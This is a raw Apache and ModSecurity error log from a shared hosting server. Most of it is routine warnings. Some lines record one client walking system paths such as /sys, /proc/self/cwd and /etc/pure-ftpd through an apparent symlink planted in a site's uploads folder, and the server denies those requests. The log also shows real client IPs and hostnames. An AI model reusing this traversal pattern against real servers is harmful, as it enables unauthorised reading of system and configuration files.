[Fri Jul 17 09:43:52.854643 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:52.945399 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:53.036251 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:53.127715 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup5/device/subsystem/drivers/battery/uevent
[Fri Jul 17 09:43:53.224495 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:53.315209 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:53.408802 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:53.855979 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/pnp/devices/00:01/subsystem/drivers_probe
[Fri Jul 17 09:43:53.871690 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:53.892688 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:53.927603 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXSYBUS:00/PNP0A03:00/device:16/eject
[Fri Jul 17 09:43:53.954852 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:53.983727 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:54.135554 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:54.317142 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/dma-kmalloc-8k/sanity_checks
[Fri Jul 17 09:43:54.410514 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:54.549765 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:54.591760 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:54.683646 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:54.776543 2026] [core:error] [pid 2050581:tid 2050581] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/LNXSYSTM:00/subsystem/drivers/ec/unbind
[Fri Jul 17 09:43:54.865286 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:54.957975 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:55.088560 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:55.140506 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:55.231391 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:55.512567 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:56.882482 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:56.887748 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:56.911431 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:56.972722 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:56.997819 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:57.030368 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:57.157615 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:57.337087 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:57.427493 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:57.518911 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:57.530676 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:36266] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:57.883778 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:57.972855 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:58.065562 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:58.155689 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:58.321605 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:58.524477 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup0/device/subsystem/drivers/thermal/uevent
[Fri Jul 17 09:43:58.616004 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:58.706719 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:58.798169 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:59.086235 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:59.175276 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:59.266431 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:59.315578 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:36764] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:59.645935 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:43:59.717151 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:36828] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:43:59.863270 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.235:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "bostonlanka.com"] [uri "/\\xe0\\xb7\\x83\\xe0\\xb6\\xad\\xe0\\xb7\\x8a\\xe0\\xb6\\xad\\xe0\\xb7\\x8a\\xe0\\xb7\\x80-\\xe0\\xb6\\x9a\\xe0\\xb7\\x9c\\xe0\\xb6\\xa7\\xe0\\xb7\\x83\\xe0\\xb7\\x8a\\xe0\\xb7\\x80\\xe0\\xb6\\xbd\\xe0\\xb7\\x92\\xe0\\xb6\\xb1\\xe0\\xb7\\x8a-\\xe0\\xb6\\x86\\xe0\\xb6\\xb7\\xe0\\xb6\\xbb\\xe0\\xb6\\xab-\\xe0\\xb7\\x83/feed/"] [unique_id "almsB4-0g_VSPeIeFN3JgQAAAAs"]
[Fri Jul 17 09:43:59.863655 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/\\xe0\\xb7\\x83\\xe0\\xb6\\xad\\xe0\\xb7\\x8a\\xe0\\xb6\\xad\\xe0\\xb7\\x8a\\xe0\\xb7\\x80-\\xe0\\xb6\\x9a\\xe0\\xb7\\x9c\\xe0\\xb6\\xa7\\xe0\\xb7\\x83\\xe0\\xb7\\x8a\\xe0\\xb7\\x80\\xe0\\xb6\\xbd\\xe0\\xb7\\x92\\xe0\\xb6\\xb1\\xe0\\xb7\\x8a-\\xe0\\xb6\\x86\\xe0\\xb6\\xb7\\xe0\\xb6\\xbb\\xe0\\xb6\\xab-\\xe0\\xb7\\x83/feed/"] [unique_id "almsB4-0g_VSPeIeFN3JgQAAAAs"]
[Fri Jul 17 09:43:59.920099 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:00.015936 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:00.107280 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:00.281131 2026] [security2:error] [pid 2034024:tid 2034024] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almsB4-0g_VSPeIeFN3JgQAAAAs"]
[Fri Jul 17 09:44:00.459433 2026] [security2:error] [pid 2030955:tid 2030955] [client 72.255.9.39:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nsteeleng-global": Permission denied [hostname "nsteeleng.com"] [uri "/xmlrpc.php"] [unique_id "almsB_wooI4qY7Jg93peoAAAABM"]
[Fri Jul 17 09:44:00.583332 2026] [security2:error] [pid 2030955:tid 2030955] [client 72.255.9.39:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nsteeleng-ip": Permission denied [hostname "nsteeleng.com"] [uri "/xmlrpc.php"] [unique_id "almsB_wooI4qY7Jg93peoAAAABM"]
[Fri Jul 17 09:44:00.602408 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:00.798647 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:00.847786 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:00.881689 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:36894] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:00.939043 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:01.125540 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:01.308559 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:01.398293 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:01.678110 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:01.769221 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:01.861227 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:02.048926 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:02.419119 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:02.509249 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:02.599867 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:02.783072 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:02.874364 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:02.970821 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:03.180635 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:03.245336 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:03.339435 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:03.430693 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:03.544685 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:03.705671 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:03.705795 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:03.892489 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:03.996083 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:03.997177 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/pure-ftpd/"] [unique_id "almsC4e39YUk0SgV8AVDZAAAABE"]
[Fri Jul 17 09:44:03.997214 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/pure-ftpd/"] [unique_id "almsC4e39YUk0SgV8AVDZAAAABE"]
[Fri Jul 17 09:44:04.078249 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:04.259435 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:04.356157 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:04.459639 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almsDLEWOaI5pmYo9fnYVQAAAAA"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:44:04.459682 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almsDLEWOaI5pmYo9fnYVQAAAAA"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:44:04.474267 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:04.572935 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:04.724893 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:04.998295 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:05.088170 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:05.184497 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:05.218986 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:54082] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:05.272369 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:05.515132 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:05.515426 2026] [security2:error] [pid 1993671:tid 1993671] [client 175.157.25.171:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/rs-plugin/js/extensions/revolution.extension.kenburn.min.js"] [unique_id "almsDQ5GPQ6hs4VrfMpLaAAAAAY"], referer: https://www.nccp.health.gov.lk/en/cedc
[Fri Jul 17 09:44:05.515453 2026] [security2:error] [pid 1993671:tid 1993671] [client 175.157.25.171:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/rs-plugin/js/extensions/revolution.extension.kenburn.min.js"] [unique_id "almsDQ5GPQ6hs4VrfMpLaAAAAAY"], referer: https://www.nccp.health.gov.lk/en/cedc
[Fri Jul 17 09:44:05.550289 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:05.638956 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:05.733897 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:05.826116 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:05.922894 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:06.112438 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:06.357879 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:06.524519 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:06.534841 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:06.636929 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:06.663952 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:06.845160 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:07.051741 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:07.216626 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:07.306261 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:07.400908 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:07.491078 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:07.552115 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:07.610952 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:07.689063 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:07.769246 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:07.786052 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:07.853468 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:54470] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:07.990498 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/i2c/devices/i2c-0/subsystem/drivers/dummy/unbind
[Fri Jul 17 09:44:08.204376 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:08.226472 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:08.348278 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:08.477888 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:08.660812 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:54508] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:08.882488 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:08.956829 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:09.014356 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:09.058158 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:09.156685 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:09.338261 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pnp0/00:04/subsystem/drivers/serial/unbind
[Fri Jul 17 09:44:09.441181 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:09.754506 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:09.830040 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:09.836812 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:09.982367 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:10.074679 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:10.166429 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:10.279652 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:10.349306 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:10.440208 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:10.548173 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:10.902917 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:11.085358 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:11.362024 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:11.451668 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:11.543572 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:11.636835 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:11.726459 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:11.816292 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:11.908240 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:12.111181 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:12.140488 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:12.198551 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:12.367479 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:12.492059 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:12.660080 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:12.679333 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:12.746872 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:13.117698 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:13.488716 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
